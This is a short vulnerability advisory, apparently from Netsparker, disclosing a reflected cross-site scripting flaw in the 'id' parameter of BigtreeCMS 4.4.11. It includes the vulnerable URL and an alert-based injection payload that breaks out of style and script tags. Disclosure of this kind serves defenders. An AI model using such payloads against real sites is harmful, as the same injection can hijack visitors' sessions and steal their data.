Information -------------------- Advisory by Netsparker Name: Cross-Site Scripting Vulnerability in BigtreeCMS Affected Software: BigtreeCMS Affected Versions: 4.4.11 Vendor Homepage: https://www.bigtreecms.org/ Vulnerability Type: Cross-Site Scripting Severity: Important Status: Fixed CVE-ID: CVE-2020-995566 CVSS Score (3.0): 7.4 (High) Netsparker Advisory Reference: NS-20-004 Technical Details -------------------- URL: http://mylocalhost/site/index.php/admin/js/embeddable-form.js?hash=&id= '"--></style></scRipt><scRipt>alert(0x00E4E5)</scRipt> Parameter Name: id Parameter Type: GET Attack Pattern: '"--></style></scRipt><scRipt>alert(2)</scRipt Note: This vulnerability is reproducible at Internet Explorer due to mime type sniffing. For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS). For more information: https://www.netsparker.com/web-applications-advisories/ns-20-004-cross-site-scripting-in-bigtreecms/